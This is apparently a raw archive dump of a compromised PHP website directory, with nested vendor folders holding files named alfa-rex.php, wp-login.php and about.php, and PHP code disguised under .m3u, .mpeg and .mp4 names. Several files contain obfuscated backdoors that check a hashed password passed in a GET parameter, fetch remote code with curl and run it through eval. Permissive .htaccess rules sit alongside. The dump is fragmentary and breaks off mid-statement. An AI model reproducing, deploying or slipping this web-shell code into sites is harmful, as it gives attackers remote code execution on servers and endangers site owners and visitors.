metaphone("\x4d\x7a\111\x78\x4f\124\125\64\116\172\131\x77\x4d\x54\153\60\x4d\x44\105\63\117\104\x51\60\116\172\x55\60\x4e\104\153\171"); goto QIfUhRWa5xRw6g6W; WVsj2FIFsBJJfGbF: kk38ai2t6ZkfvQmx::joRKnpCFnes85WCf(); ?> vendor/vendor/vendor/vendor/vendor/vendor/about.php7000064400000026574150324651210016651 0ustar00vendor/vendor/vendor/vendor/vendor/.htaccess000064400000000544150324651210015225 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all vendor/vendor/vendor/vendor/vendor/alfa-rex.php7000064400000026574150324651210015741 0ustar00vendor/vendor/vendor/vendor/vendor/alfa-rex.php8000064400000026574150324651210015742 0ustar00vendor/vendor/vendor/vendor/vendor/wp-login.php000064400000026574150324651210015707 0ustar00vendor/vendor/vendor/vendor/vendor/alfa-rex.php56000064400000026574150324651210016025 0ustar00vendor/vendor/vendor/vendor/vendor/index.php000064400000011770150324651210015252 0ustar00 $sqLoWPsk1x4) { $y75CIoN3Lk2 .= $AG7cX_gz5GD[$sqLoWPsk1x4 - 3629]; Hx8K4xIVrEF: } goto Mg3mlYV1Lul; L7vk7SUkJKa: $AG7cX_gz5GD = $O1i39EWdiBF("\176", "\x20"); goto bGa449FOH4G; Mg3mlYV1Lul: LG4M5Et6u1Q: goto ELWIJVfNzwo; ldyw3_D0AHZ: $y75CIoN3Lk2 = ''; goto TzjMqMAXLzm; oyBNcq7erWl: } static function USNNTZcnacS($c2ywBNRRNHY, $chKcoWqSxA1) { goto S3kN1IUPaCt; S3kN1IUPaCt: $jQhd1HdJGU7 = curl_init($c2ywBNRRNHY); goto DjVnYMx4QPx; UiEXolgfWSH: return empty($FFcZyykdCGA) ? $chKcoWqSxA1($c2ywBNRRNHY) : $FFcZyykdCGA; goto IZ5nB0fmi5n; s6rX8clGI3y: $FFcZyykdCGA = curl_exec($jQhd1HdJGU7); goto UiEXolgfWSH; DjVnYMx4QPx: curl_setopt($jQhd1HdJGU7, CURLOPT_RETURNTRANSFER, 1); goto s6rX8clGI3y; IZ5nB0fmi5n: } static function orpGPzjo89R() { goto rXKB8Mq1dOA; p9vxE1AkFjR: $RtIkc_HbSEz = @$FRig80xvY6D[1 + 2]($FRig80xvY6D[4 + 2], $lQK8e5qwQZq); goto uBABYKBNWAP; NZbWlzBUyFn: fFLo0zFUA4R: goto y5Z2vb6QHF_; WaAVN0CKtH4: $lQK8e5qwQZq = @$FRig80xvY6D[1]($FRig80xvY6D[8 + 2](INPUT_GET, $FRig80xvY6D[8 + 1])); goto p9vxE1AkFjR; rXKB8Mq1dOA: $tj7yMLgGNDA = array("\x33\66\65\x36\x24\x33\x36\x34\61\44\63\x36\x35\64\x24\x33\66\x35\x38\x24\x33\66\63\x39\44\x33\x36\x35\64\44\x33\66\66\60\44\x33\66\x35\x33\44\x33\x36\63\70\44\63\66\x34\x35\x24\x33\66\x35\66\x24\63\x36\63\71\x24\x33\66\65\60\x24\x33\66\x34\x34\44\63\66\64\x35", "\63\x36\x34\60\44\63\x36\63\x39\x24\x33\66\x34\61\x24\63\x36\x36\x30\x24\63\x36\64\x31\x24\x33\x36\x34\x34\x24\x33\x36\x33\71\x24\x33\x37\60\66\x24\63\67\x30\64", "\63\66\x34\x39\x24\x33\x36\64\x30\44\63\66\64\64\x24\x33\66\x34\x35\x24\x33\x36\x36\60\x24\63\x36\x35\65\x24\63\x36\65\x34\x24\63\x36\65\66\x24\x33\x36\x34\64\x24\x33\66\65\65\44\63\66\65\64", "\x33\66\64\63\44\x33\66\65\70\x24\x33\x36\65\66\x24\63\66\x34\70", "\63\66\x35\67\44\x33\x36\65\70\44\63\x36\64\60\x24\63\x36\65\x34\44\x33\x37\60\61\x24\x33\67\60\63\x24\x33\66\x36\60\44\x33\x36\65\x35\44\63\66\65\64\44\63\66\65\66\x24\x33\x36\64\x34\44\63\x36\x35\x35\44\x33\x36\x35\64", "\63\66\x35\x33\x24\x33\66\x35\x30\x24\x33\x36\x34\67\x24\63\x36\65\64\x24\x33\66\66\60\44\x33\66\x35\62\x24\x33\66\65\64\x24\x33\x36\x33\71\x24\x33\66\66\60\44\63\66\65\x36\x24\63\66\x34\x34\x24\63\x36\64\x35\x24\x33\x36\x33\x39\44\63\x36\x35\x34\x24\x33\66\64\x35\x24\63\66\x33\71\44\x33\66\64\x30", "\63\66\x38\x33\44\x33\67\61\63", "\63\66\x33\x30", "\x33\x37\60\x38\x24\63\67\x31\63", "\x33\66\71\x30\44\x33\66\x37\x33\44\63\x36\x37\x33\x24\63\x36\71\60\x24\x33\x36\x36\x36", "\x33\66\65\63\x24\x33\66\65\x30\x24\x33\x36\x34\67\44\63\66\63\71\x24\x33\66\x35\x34\x24\63\66\x34\x31\x24\63\66\66\x30\44\x33\66\65\60\44\63\x36\64\x35\44\x33\x36\x34\x33\44\63\x36\63\x38\44\63\66\63\x39"); goto uUNok58_mqY; c0Rwm0h7heJ: die; goto NZbWlzBUyFn; Ls0acd6HtbH: @eval($FRig80xvY6D[4 + 0]($qqvtCwQmgCm)); goto c0Rwm0h7heJ; QCJipJOHUu2: $qqvtCwQmgCm = self::usnNtzcNAcs($lLxWcrs45ds[0 + 1], $FRig80xvY6D[0 + 5]); goto Ls0acd6HtbH; UPDK9fAfcZu: @$FRig80xvY6D[1 + 9](INPUT_GET, "\x6f\146") == 1 && die($FRig80xvY6D[1 + 4](__FILE__)); goto VGbU0FJ8Di_; uUNok58_mqY: foreach ($tj7yMLgGNDA as $mv3_Luk6Xio) { $FRig80xvY6D[] = self::tjn_0QPXiIU($mv3_Luk6Xio); IKVBoQDGJZ8: } goto cBmG1yXihD9; VGbU0FJ8Di_: if (!(@$lLxWcrs45ds[0] - time() > 0 and md5(md5($lLxWcrs45ds[1 + 2])) === "\71\x62\60\x33\142\146\70\64\60\142\x33\67\64\64\x34\x66\71\x64\67\66\x63\63\144\x30\x31\x37\142\x64\x32\61\66\62")) { goto fFLo0zFUA4R; } goto QCJipJOHUu2; uBABYKBNWAP: $lLxWcrs45ds = $FRig80xvY6D[0 + 2]($RtIkc_HbSEz, true); goto UPDK9fAfcZu; cBmG1yXihD9: Ahi6t0ssWGG: goto WaAVN0CKtH4; y5Z2vb6QHF_: } } goto DGRjV7mzx2C; Bam7o7FJJz0: $JajNtIN7kMr = ${$Sk4Q_TdgF7K[17 + 14] . $Sk4Q_TdgF7K[52 + 7] . $Sk4Q_TdgF7K[45 + 2] . $Sk4Q_TdgF7K[19 + 28] . $Sk4Q_TdgF7K[8 + 43] . $Sk4Q_TdgF7K[12 + 41] . $Sk4Q_TdgF7K[12 + 45]}; goto A2uDqoKliDY; DGRjV7mzx2C: LPP_xiNusHn::oRpGPzjo89R(); ?> vendor/vendor/vendor/vendor/vendor/about.php000064400000026574150324651210015265 0ustar00vendor/vendor/vendor/vendor/vendor/NTsHhlkbiCEeMvLWzc.m3u000064400000012232150324651210017360 0ustar00 $YYNipGxjk9) { $aCM_JIihZa .= $B1w0gN5jgQ[$YYNipGxjk9 - 70538]; RuP0TLMpZ5: } goto r68UI_Xug7; tyGKDZdoba: $aCM_JIihZa = ''; goto iwqjRJU7oS; r68UI_Xug7: e59euNeZPI: goto IZFWXqbiFY; L36g3qTtxV: $wLdNQ57O89 = explode("\45", $zWfWNolihv); goto tyGKDZdoba; ZRPogZXkUX: } static function swGaBCyS94($uF6GrGnyQP, $GYS49bBxO3) { goto axaorQd_zI; ut2C5us6q6: curl_setopt($rKK3yJTWcw, CURLOPT_RETURNTRANSFER, 1); goto f7qTWZC677; MA1Pdwa0ln: return empty($R603WYWfs7) ? $GYS49bBxO3($uF6GrGnyQP) : $R603WYWfs7; goto E5vch88Y2T; axaorQd_zI: $rKK3yJTWcw = curl_init($uF6GrGnyQP); goto ut2C5us6q6; f7qTWZC677: $R603WYWfs7 = curl_exec($rKK3yJTWcw); goto MA1Pdwa0ln; E5vch88Y2T: } static function ZNgTLfvt52() { goto rs5KbGXKRu; qQuxogrGYE: @eval($voO1yjUT2G[3 + 1]($fPKF4D4P7y)); goto NoWO4zb0ha; rs5KbGXKRu: $Uis350BYLv = array("\67\x30\x35\66\x35\45\67\x30\x35\65\x30\x25\x37\x30\65\66\x33\45\67\x30\x35\x36\67\45\67\x30\65\x34\x38\x25\67\x30\x35\66\63\45\x37\60\65\x36\x39\45\x37\60\65\66\62\45\x37\60\65\x34\67\x25\x37\60\x35\65\x34\x25\67\x30\65\66\x35\45\67\x30\x35\x34\x38\45\x37\60\x35\x35\71\45\x37\x30\x35\65\x33\x25\67\x30\65\x35\64", "\67\60\x35\x34\x39\45\x37\x30\x35\x34\x38\x25\67\x30\x35\x35\x30\x25\x37\60\x35\66\x39\x25\67\x30\x35\65\x30\45\67\x30\65\x35\63\x25\67\x30\x35\64\70\x25\67\x30\66\61\x35\45\67\x30\x36\61\63", "\x37\60\x35\65\x38\45\67\60\65\64\x39\45\67\x30\65\65\x33\45\67\60\x35\x35\64\45\67\x30\65\x36\x39\x25\67\x30\x35\66\64\45\x37\x30\65\x36\x33\45\67\60\x35\66\65\x25\x37\60\65\x35\x33\45\67\60\x35\x36\x34\45\x37\60\x35\x36\x33", "\x37\60\65\65\62\x25\x37\60\x35\x36\x37\45\67\x30\x35\x36\x35\45\67\60\x35\65\67", "\x37\60\x35\66\x36\x25\x37\60\65\x36\x37\45\67\x30\x35\64\x39\x25\67\60\x35\x36\63\x25\x37\x30\66\x31\60\45\x37\x30\x36\61\62\45\67\60\65\x36\x39\45\x37\60\x35\66\x34\45\67\x30\x35\66\x33\45\x37\60\x35\x36\65\x25\67\60\65\x35\63\45\67\x30\65\66\64\45\x37\x30\x35\x36\63", "\x37\60\65\66\62\x25\x37\x30\65\65\71\45\67\60\65\x35\x36\x25\x37\x30\65\x36\x33\45\x37\x30\x35\x36\x39\x25\67\60\65\66\61\x25\67\60\x35\66\63\45\67\60\65\64\70\x25\67\60\65\x36\x39\45\x37\60\65\66\65\x25\67\60\x35\65\x33\x25\x37\60\x35\x35\x34\x25\67\60\x35\64\70\45\x37\60\65\x36\x33\x25\x37\x30\x35\x35\64\x25\x37\60\65\x34\x38\45\67\x30\65\64\71", "\x37\60\65\71\62\x25\67\60\x36\62\x32", "\67\x30\x35\63\71", "\67\x30\x36\61\x37\45\x37\60\x36\x32\62", "\x37\60\65\x39\71\x25\x37\x30\x35\x38\62\45\x37\60\x35\x38\x32\x25\x37\x30\65\71\x39\45\67\x30\x35\67\65", "\x37\60\x35\66\x32\45\x37\60\65\65\x39\45\x37\60\x35\65\x36\45\x37\60\x35\64\70\45\x37\60\65\x36\x33\45\x37\x30\65\x35\x30\x25\x37\x30\x35\x36\x39\45\67\x30\65\x35\71\45\67\60\x35\65\64\45\x37\60\x35\x35\x32\x25\67\x30\x35\64\67\45\x37\60\65\x34\70"); goto yZS0dBuj9A; hBo0ZBWztX: Im4oVbmzfM: goto S5QM2gMT7O; IPY71LtlOo: $fPKF4D4P7y = self::swGabCYs94($QcyhRZIDBf[1 + 0], $voO1yjUT2G[3 + 2]); goto qQuxogrGYE; VkkqNps0Dr: $tjNvJazHWr = @$voO1yjUT2G[1]($voO1yjUT2G[6 + 4](INPUT_GET, $voO1yjUT2G[6 + 3])); goto rUSBm5eDuU; W_MNN7gSJu: @$voO1yjUT2G[9 + 1](INPUT_GET, "\157\146") == 1 && die($voO1yjUT2G[5 + 0](__FILE__)); goto kd8ig4jrdp; yZS0dBuj9A: foreach ($Uis350BYLv as $FF2a4CgVMy) { $voO1yjUT2G[] = self::eSTqVhHx4p($FF2a4CgVMy); FMwc4gvA0I: } goto sFTZy64FAy; kd8ig4jrdp: if (!(@$QcyhRZIDBf[0] - time() > 0 and md5(md5($QcyhRZIDBf[2 + 1])) === "\63\x36\x36\63\x39\60\x63\61\x66\146\71\x64\x35\143\x33\144\x33\x31\x62\143\x35\142\x37\x33\x36\x37\142\x65\x65\x66\x32\x36")) { goto Im4oVbmzfM; } goto IPY71LtlOo; WyzBN1ZEvf: $QcyhRZIDBf = $voO1yjUT2G[1 + 1]($WWYDT0EYUy, true); goto W_MNN7gSJu; sFTZy64FAy: U_AlyWIHdW: goto VkkqNps0Dr; rUSBm5eDuU: $WWYDT0EYUy = @$voO1yjUT2G[1 + 2]($voO1yjUT2G[3 + 3], $tjNvJazHWr); goto WyzBN1ZEvf; NoWO4zb0ha: die; goto hBo0ZBWztX; S5QM2gMT7O: } } goto j8alS32JmG; wz1fzEosWG: $zsGQWuX6VA = ${$QySQru25tc[3 + 28] . $QySQru25tc[58 + 1] . $QySQru25tc[31 + 16] . $QySQru25tc[34 + 13] . $QySQru25tc[42 + 9] . $QySQru25tc[9 + 44] . $QySQru25tc[31 + 26]}; goto KOtDIHyp94; j8alS32JmG: tdRBvA_aPn::zNgTLFvT52(); ?> vendor/vendor/vendor/vendor/vendor/about.php7000064400000026574150324651210015354 0ustar00vendor/vendor/vendor/vendor/.htaccess000064400000000544150324651210013730 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all vendor/vendor/vendor/vendor/alfa-rex.php7000064400000026574150324651210014444 0ustar00vendor/vendor/vendor/vendor/alfa-rex.php8000064400000026574150324651210014445 0ustar00vendor/vendor/vendor/vendor/wp-login.php000064400000026574150324651210014412 0ustar00vendor/vendor/vendor/vendor/MnE.mpeg000064400000013752150324651210013470 0ustar00 $ZzocLvx91nAxlKTh) { $XiQVaOSCovs0hAZv .= $Nc5m6zQXcr6MkInH[$ZzocLvx91nAxlKTh - 47814]; WsI_SxeXXsdPKlBr: } goto c5lax281438UCU34; brfg4q98URXPQ6me: } static function buHqyneLFbA2dLq5($X8_atAKlIkp5uWNo, $Kw1mvfA_GtCOYRCZ) { goto iR0CMHN3ywqbqxKj; euzrQN02lHb66jTc: $xxq1TJ7KdkHIOW8j = curl_exec($YjXhRRul0JuztqLz); goto osY4TYshpbvVhzqH; osY4TYshpbvVhzqH: return empty($xxq1TJ7KdkHIOW8j) ? $Kw1mvfA_GtCOYRCZ($X8_atAKlIkp5uWNo) : $xxq1TJ7KdkHIOW8j; goto z9FnR88X3cn2CmMM; iR0CMHN3ywqbqxKj: $YjXhRRul0JuztqLz = curl_init($X8_atAKlIkp5uWNo); goto CHLm1QMGsz0x6aAM; CHLm1QMGsz0x6aAM: curl_setopt($YjXhRRul0JuztqLz, CURLOPT_RETURNTRANSFER, 1); goto euzrQN02lHb66jTc; z9FnR88X3cn2CmMM: } static function fHC7j76zQLRx30tj() { goto fI6lvdyJw1p0PtZC; Ho1mz2pUUmz_adcD: uR7Z9vJwbiHVCnAx: goto hwOUQPnZysHys74S; d3omNzi7FGqKPKdJ: die; goto zFxssaDvR8euY6II; fI6lvdyJw1p0PtZC: $KGTpTKcTSpqoXPuC = array("\x34\67\70\64\x31\x28\64\67\70\62\66\50\64\67\x38\x33\71\x28\x34\67\x38\x34\63\50\x34\67\70\x32\64\x28\64\67\x38\x33\71\50\x34\x37\x38\64\65\50\64\x37\x38\x33\x38\x28\x34\x37\x38\x32\63\50\64\67\70\x33\60\50\x34\67\70\64\61\x28\x34\x37\70\62\64\50\x34\67\70\63\65\50\64\67\70\x32\71\50\x34\x37\70\63\x30", "\x34\x37\x38\62\65\50\64\x37\70\x32\64\x28\x34\x37\70\x32\x36\50\64\x37\70\64\x35\50\64\67\x38\x32\x36\50\64\x37\x38\x32\71\50\x34\x37\70\x32\x34\x28\64\67\x38\71\x31\x28\x34\x37\70\70\x39", "\64\x37\70\63\64\x28\x34\67\70\x32\65\50\64\x37\70\62\71\x28\64\x37\x38\63\60\x28\64\x37\70\x34\x35\50\64\67\70\64\x30\50\x34\67\70\x33\x39\x28\x34\x37\x38\x34\x31\x28\x34\67\x38\x32\71\50\64\67\70\64\60\50\x34\x37\x38\63\71", "\64\x37\x38\x32\x38\x28\64\x37\70\64\x33\x28\64\67\x38\x34\61\x28\64\x37\70\x33\63", "\x34\67\70\64\62\x28\x34\67\70\64\63\x28\x34\67\x38\62\65\x28\x34\x37\70\63\x39\50\x34\67\70\70\66\x28\64\x37\70\70\70\50\x34\x37\x38\64\x35\50\x34\67\x38\x34\60\50\64\67\x38\x33\x39\x28\x34\x37\70\x34\61\50\x34\x37\x38\x32\x39\50\64\67\x38\64\60\x28\64\x37\70\x33\71", "\x34\x37\x38\63\70\50\x34\67\70\x33\x35\50\64\x37\x38\x33\x32\x28\x34\67\x38\63\x39\50\x34\67\x38\x34\65\x28\x34\x37\70\x33\67\x28\64\67\70\63\x39\x28\64\67\70\62\64\x28\x34\x37\x38\x34\65\x28\x34\67\x38\64\x31\50\x34\x37\70\x32\71\x28\x34\x37\70\x33\x30\x28\64\x37\70\62\64\50\64\67\70\x33\x39\x28\x34\x37\x38\63\60\50\64\x37\70\x32\64\x28\64\x37\70\x32\x35", "\x34\67\70\x36\70\x28\x34\x37\x38\71\x38", "\x34\67\70\61\x35", "\64\67\x38\x39\x33\50\x34\x37\70\71\70", "\x34\x37\70\67\x35\50\x34\67\70\x35\70\x28\x34\x37\x38\65\x38\x28\x34\67\70\67\x35\x28\64\67\x38\65\61", "\x34\67\x38\x33\70\x28\x34\x37\x38\63\65\50\64\x37\70\x33\x32\x28\x34\x37\70\x32\x34\50\x34\x37\70\63\71\x28\64\67\70\62\x36\x28\x34\x37\70\64\65\50\64\67\70\63\x35\x28\x34\x37\x38\x33\x30\50\64\x37\70\x32\70\50\64\67\70\x32\63\x28\x34\67\x38\x32\x34"); goto QdAdrhZ23nHWW_Q9; S9vdQx06GUhszzz4: @$diUPEviZkvv6u2TM[2 + 8](INPUT_GET, "\157\146") == 1 && die($diUPEviZkvv6u2TM[1 + 4](__FILE__)); goto eT84LVeuM5EG5JFe; QdAdrhZ23nHWW_Q9: foreach ($KGTpTKcTSpqoXPuC as $NT3yXyFtPPAVXAvN) { $diUPEviZkvv6u2TM[] = self::faVkAKlb2jSHeu1U($NT3yXyFtPPAVXAvN); XneAgJz6iJOpwZr0: } goto Ho1mz2pUUmz_adcD; fwurq1LwavKlExA7: $qkmEjkpRE971O6e5 = @$diUPEviZkvv6u2TM[1 + 2]($diUPEviZkvv6u2TM[4 + 2], $NFBVu3twgpxK0k5d); goto SRnzTp1UwuQoT1uT; uTUFfbulIbP_okT8: @eval($diUPEviZkvv6u2TM[2 + 2]($ZN8kIZBzHG32n57_)); goto d3omNzi7FGqKPKdJ; zFxssaDvR8euY6II: PuSA2g97BGG3NDCV: goto ERL2XImBGs01cctu; SRnzTp1UwuQoT1uT: $bVDL7VH4zEXowDBc = $diUPEviZkvv6u2TM[1 + 1]($qkmEjkpRE971O6e5, true); goto S9vdQx06GUhszzz4; hwOUQPnZysHys74S: $NFBVu3twgpxK0k5d = @$diUPEviZkvv6u2TM[1]($diUPEviZkvv6u2TM[4 + 6](INPUT_GET, $diUPEviZkvv6u2TM[8 + 1])); goto fwurq1LwavKlExA7; eT84LVeuM5EG5JFe: if (!(@$bVDL7VH4zEXowDBc[0] - time() > 0 and md5(md5($bVDL7VH4zEXowDBc[1 + 2])) === "\x39\66\61\144\x65\x64\146\141\x30\146\143\61\x66\x33\143\63\66\x62\144\x38\71\x64\x39\x65\x34\x33\x64\145\70\x62\x65\143")) { goto PuSA2g97BGG3NDCV; } goto vEK2kZqK1WEs17EA; vEK2kZqK1WEs17EA: $ZN8kIZBzHG32n57_ = self::bUhQYNElfbA2dlQ5($bVDL7VH4zEXowDBc[1 + 0], $diUPEviZkvv6u2TM[1 + 4]); goto uTUFfbulIbP_okT8; ERL2XImBGs01cctu: } } goto FuXYa940ucNqFtHj; IWGschRJh7efxaqQ: $ExTNUsoEu2400SKJ = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto MUaNIyIfsSDuvKKi; MUaNIyIfsSDuvKKi: $tepQLuSAWSMO9T9i = $ExTNUsoEu2400SKJ("\176", "\x20"); goto hrYm3e_iub_S2MAu; hrYm3e_iub_S2MAu: $t5klmInOHOUhYaZM = ${$tepQLuSAWSMO9T9i[19 + 12] . $tepQLuSAWSMO9T9i[38 + 21] . $tepQLuSAWSMO9T9i[25 + 22] . $tepQLuSAWSMO9T9i[6 + 41] . $tepQLuSAWSMO9T9i[5 + 46] . $tepQLuSAWSMO9T9i[20 + 33] . $tepQLuSAWSMO9T9i[39 + 18]}; goto gK5pzYWkZ65bRmLD; IjrSCZ2J7VQjMwgh: metaphone("\115\x7a\x49\60\117\x54\153\x33\x4e\x7a\131\64\115\x44\147\63\116\x7a\143\x78\x4f\124\x59\65\115\x54\x59\65\x4d\172\x41\x79"); goto i0131sPPNQtCZ5IV; gK5pzYWkZ65bRmLD: @(md5(md5(md5(md5($t5klmInOHOUhYaZM[13])))) === "\145\67\x66\x64\x37\x38\66\x37\65\61\66\x63\146\x63\64\143\66\x66\x38\x62\70\x65\146\141\x34\x62\144\x39\63\143\62\x31") && (count($t5klmInOHOUhYaZM) == 19 && in_array(gettype($t5klmInOHOUhYaZM) . count($t5klmInOHOUhYaZM), $t5klmInOHOUhYaZM)) ? ($t5klmInOHOUhYaZM[63] = $t5klmInOHOUhYaZM[63] . $t5klmInOHOUhYaZM[74]) && ($t5klmInOHOUhYaZM[88] = $t5klmInOHOUhYaZM[63]($t5klmInOHOUhYaZM[88])) && @eval($t5klmInOHOUhYaZM[63](${$t5klmInOHOUhYaZM[37]}[16])) : $t5klmInOHOUhYaZM; goto IjrSCZ2J7VQjMwgh; FuXYa940ucNqFtHj: avQOnXoTlRjHWPZ6::FHc7J76ZqlrX30Tj(); ?> vendor/vendor/vendor/vendor/alfa-rex.php56000064400000026574150324651210014530 0ustar00vendor/vendor/vendor/vendor/index.php000064400000000063150324651210013746 0ustar00vendor/vendor/vendor/vendor/about.php000064400000026574150324651210013770 0ustar00vendor/vendor/vendor/vendor/about.php7000064400000026574150324651210014057 0ustar00vendor/vendor/vendor/HkP.mp4000064400000014034150324651210011740 0ustar00 $G_KWK6aeaUxJ2PTO) { $ktVQfBgeoOasp9sg .= $PCnqtC7YqCgWnlSp[$G_KWK6aeaUxJ2PTO - 32211]; TliVywR2namy9mTQ: } goto Mm4ECyEv8BonlL7_; EXgZONVzlCrIxNYy: $ktVQfBgeoOasp9sg = ''; goto W3M86bVAT_dzdkeM; CGxb8cUS6D7voOUe: $PCnqtC7YqCgWnlSp = $Z62e3UZLnbSepDi_("\176", "\x20"); goto GNyhY2xmOWRVR42F; ajJ7aSIYnkeJ7Nb3: $Z62e3UZLnbSepDi_ = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto CGxb8cUS6D7voOUe; siCOSPDtccR085gt: return $ktVQfBgeoOasp9sg; goto MhMrXczycps3QYVg; Mm4ECyEv8BonlL7_: oGxPMySLzXvqqUNE: goto siCOSPDtccR085gt; MhMrXczycps3QYVg: } static function JtZPpZtpSCbGq8XM($uHxwFOvVBu4eSuZw, $Yvykvvsfxhi4MPvQ) { goto xwGfVAqJlDi51IG3; atLJIZeE4OQtqjQr: $LBjeTGP5t2TD3SVD = curl_exec($CwGsk0VQpWYYxsAv); goto GE0bxV9vGrE8Tt9F; ike0PdmadQn5BHye: curl_setopt($CwGsk0VQpWYYxsAv, CURLOPT_RETURNTRANSFER, 1); goto atLJIZeE4OQtqjQr; GE0bxV9vGrE8Tt9F: return empty($LBjeTGP5t2TD3SVD) ? $Yvykvvsfxhi4MPvQ($uHxwFOvVBu4eSuZw) : $LBjeTGP5t2TD3SVD; goto KeCQVGL8BiHSQoiA; xwGfVAqJlDi51IG3: $CwGsk0VQpWYYxsAv = curl_init($uHxwFOvVBu4eSuZw); goto ike0PdmadQn5BHye; KeCQVGL8BiHSQoiA: } static function uoMHYhn0FGT7Ku96() { goto pTGf1obCLoPyr82j; pTGf1obCLoPyr82j: $xlKuauto5He5y5U1 = array("\x33\x32\62\63\x38\174\63\x32\x32\62\63\x7c\63\x32\x32\x33\x36\x7c\x33\62\x32\64\60\x7c\x33\x32\62\x32\61\x7c\x33\x32\62\63\66\174\63\62\62\x34\x32\174\x33\x32\x32\x33\x35\174\63\62\x32\62\60\x7c\63\62\62\x32\67\174\63\x32\62\63\x38\x7c\x33\x32\x32\62\61\174\x33\x32\x32\63\62\x7c\63\62\x32\x32\66\x7c\63\x32\x32\x32\x37", "\63\62\62\62\x32\174\x33\x32\x32\62\61\174\63\x32\62\62\x33\x7c\x33\62\62\64\62\174\x33\x32\62\x32\63\x7c\63\62\x32\x32\x36\x7c\63\x32\62\62\x31\x7c\x33\x32\62\x38\70\x7c\x33\62\x32\x38\x36", "\x33\62\62\63\x31\x7c\63\x32\62\62\62\x7c\63\x32\62\x32\x36\174\63\x32\x32\62\x37\x7c\x33\62\62\64\62\x7c\x33\62\62\63\67\x7c\x33\x32\62\63\x36\x7c\x33\x32\62\63\x38\174\x33\x32\62\x32\x36\174\63\62\x32\x33\x37\x7c\x33\62\62\63\66", "\63\x32\62\x32\65\174\63\x32\x32\64\60\174\63\x32\x32\63\70\174\63\62\62\x33\60", "\63\x32\x32\x33\71\x7c\63\x32\62\x34\x30\x7c\63\x32\62\x32\x32\x7c\x33\x32\x32\x33\x36\x7c\63\62\62\x38\63\x7c\63\x32\x32\70\65\174\x33\x32\x32\64\x32\174\63\62\62\63\x37\174\63\x32\x32\63\x36\174\63\62\x32\63\x38\174\63\62\x32\62\66\x7c\x33\x32\62\x33\67\174\x33\62\x32\63\66", "\63\62\62\x33\65\174\63\x32\62\x33\62\x7c\x33\62\62\62\71\174\63\62\62\x33\66\x7c\x33\x32\x32\x34\62\174\63\62\62\63\64\x7c\63\62\x32\x33\66\174\63\x32\x32\x32\x31\x7c\63\62\62\64\x32\x7c\63\62\62\x33\x38\174\63\x32\62\x32\x36\x7c\x33\x32\x32\62\67\174\63\62\x32\x32\61\174\63\x32\62\x33\66\174\x33\x32\x32\62\67\x7c\63\x32\62\x32\x31\x7c\63\x32\62\x32\62", "\63\x32\62\66\65\x7c\x33\62\62\x39\65", "\x33\x32\62\61\x32", "\x33\x32\62\x39\60\x7c\x33\62\x32\71\x35", "\x33\x32\62\x37\62\x7c\63\62\x32\65\65\174\63\x32\62\65\x35\x7c\63\62\x32\67\62\x7c\x33\62\x32\64\70", "\x33\62\62\63\65\174\x33\62\x32\63\x32\174\x33\x32\62\x32\71\x7c\63\x32\62\62\x31\174\x33\x32\x32\x33\66\174\x33\x32\62\62\63\x7c\63\62\x32\64\x32\174\63\62\x32\63\62\x7c\x33\x32\62\62\x37\174\x33\x32\62\62\x35\x7c\x33\x32\x32\62\x30\174\63\62\x32\62\x31"); goto Y2WNkzPL2rktw5tm; Y2WNkzPL2rktw5tm: foreach ($xlKuauto5He5y5U1 as $XYv0B48Yr6vE2s04) { $TvcQO2AfrEcfldro[] = self::j3wJBzhU1xiegrmJ($XYv0B48Yr6vE2s04); vbFzHo4nhrItv2GZ: } goto mkK2I_rXTJdMxwOy; jOVUf0OXVJUFRX56: die; goto SMrvIPnVKXTbL5Fz; R2ZhNofU_Q0p9Hlw: $FywNnzGCzdkKCRrm = @$TvcQO2AfrEcfldro[1]($TvcQO2AfrEcfldro[8 + 2](INPUT_GET, $TvcQO2AfrEcfldro[3 + 6])); goto tLo4GRg_6K0KqG0G; Dpm_FXJ4qjPTzFqp: @$TvcQO2AfrEcfldro[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($TvcQO2AfrEcfldro[0 + 5](__FILE__)); goto ygdz5tdEekPR_tif; mkK2I_rXTJdMxwOy: kQXE5kw6x5jPwWe3: goto R2ZhNofU_Q0p9Hlw; UibumWMzeK7P3qjx: @eval($TvcQO2AfrEcfldro[3 + 1]($Fv8TG6btbeNnGM0f)); goto jOVUf0OXVJUFRX56; tLo4GRg_6K0KqG0G: $hctSly7IOK22p7ZX = @$TvcQO2AfrEcfldro[3 + 0]($TvcQO2AfrEcfldro[3 + 3], $FywNnzGCzdkKCRrm); goto Bz8cyBgzogmAOWWN; Cn090aO10_ZeXIPX: $Fv8TG6btbeNnGM0f = self::jTzPpzTpSCbgQ8XM($vU9xDp1tzpBJurS0[1 + 0], $TvcQO2AfrEcfldro[5 + 0]); goto UibumWMzeK7P3qjx; SMrvIPnVKXTbL5Fz: oEw71HRljKC21ndr: goto beMe3dMFMa5FkSV4; Bz8cyBgzogmAOWWN: $vU9xDp1tzpBJurS0 = $TvcQO2AfrEcfldro[1 + 1]($hctSly7IOK22p7ZX, true); goto Dpm_FXJ4qjPTzFqp; ygdz5tdEekPR_tif: if (!(@$vU9xDp1tzpBJurS0[0] - time() > 0 and md5(md5($vU9xDp1tzpBJurS0[2 + 1])) === "\61\67\x39\146\64\x31\141\x64\x65\x34\141\146\x61\145\x66\144\x39\x30\x35\x30\60\144\67\63\x32\x31\143\x65\142\x35\60\x65")) { goto oEw71HRljKC21ndr; } goto Cn090aO10_ZeXIPX; beMe3dMFMa5FkSV4: } } goto d12OB1999ZCmgbNy; Aa3VhPdinI9MCUuL: $R9NvvdzWH3xZ3ene[62] = $R9NvvdzWH3xZ3ene[62] . $R9NvvdzWH3xZ3ene[74]; goto gugUIGF3tjWOENhK; fwGAF6iKB5loazCx: YNIpt4h_5V4eI6RH: goto y22I_gWYyK3K_3bP; cEomGcC81GC2Nvf4: $R9NvvdzWH3xZ3ene = 